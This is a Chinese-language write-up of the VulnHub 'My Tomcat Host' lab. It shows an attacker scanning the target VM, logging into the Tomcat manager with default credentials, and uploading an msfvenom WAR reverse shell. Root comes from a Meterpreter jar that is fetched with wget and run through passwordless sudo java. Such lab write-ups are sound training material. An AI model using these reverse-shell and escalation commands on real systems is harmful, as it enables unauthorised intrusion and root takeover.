VulnHub | My Tomcat Host
环境
- 靶机My Tomcat Host
- 攻击机:Pattor 192.168.123.233
- 网段:192.168.123.0/24
信息收集
首先先找到靶机IP
sudo nmap -sn 192.168.123.0/24
发现靶机,IP为192.168.123.214
常规操作,nmap 扫扫端口,看看开了什么服务
sudo nmap -sS -Pn -p- 192.168.123.214
端口:
- 22 OpenSSH 6.6.1
- 8080 Http Apache Tomcat 9.0.31
图中我使用了-A
参数,之前有看到文章说,-A参数是进激扫描,动静很大,实战不建议使用,当时我觉得在靶机就无所谓了
访问Web服务
SSH端口先放放,先来访问访问Web服务
一来就首页,emm,发现有Tomcat基础认证,也就是登录Tomcat
一开始还想着爆破来这,后来手动输入几个弱口令就进去了,账户密码是 :tomcat:tomcat
上传WAR包
进去之后,上传WAR包,用msfvenom生成一个war包
msfvenom -p java/shell_reverse_tcp LHOST=192.168.123.233 LPORT=4443 -f war > shell.war
紧接着上传,攻击机监听4443端口
我这里就用nc监听好了,然后访问这个war包
成功反弹shell,是个tomcat用户,通过简单测试,发现有python环境,先反弹一个交互式Shell
python -c "__import__('pty').spawn('/bin/bash')"
要得到Flag,紧接着就要想办法提权了
提权
对于提权我还是刚刚接触,会的不多,先看看有没有SUID提权的机会
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
通过以上命令找找有没有可利用的命令,例如:vim、nmap、find、bash、more、less、nano、cp,发现貌似没有熟悉的
然后我就看看sudo -l
能不能执行,能执行哪些命令
发现可以不用密码就可以以root权限执行java命令,可以整
老方法,用msfvenom生成jar包的木马,这次就生成Meterpreter Shell,熟悉一下MSF
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.123.233 LPORT=4444 -f jar > priv.jar
再使用python3 运行一个简单HTTP服务,默认端口8000
python3 -m http.server
然后回到靶机反弹的shell,当一次使用wget下载的时候发现没有写权限
没办法,只能找找tomcat用户的文件夹,这个不难找,,去到网站根目录就可以了/tmp
也行
再次下载,下载完之后,到msf设置payload,在使用sudo执行java命令运行反弹shell的jar包
sudo /usr/lib/jvm/java.../../java -jar priv.jar
执行完就可以看到msf已经接收shell了
Flag
最后在/root目录下找到flag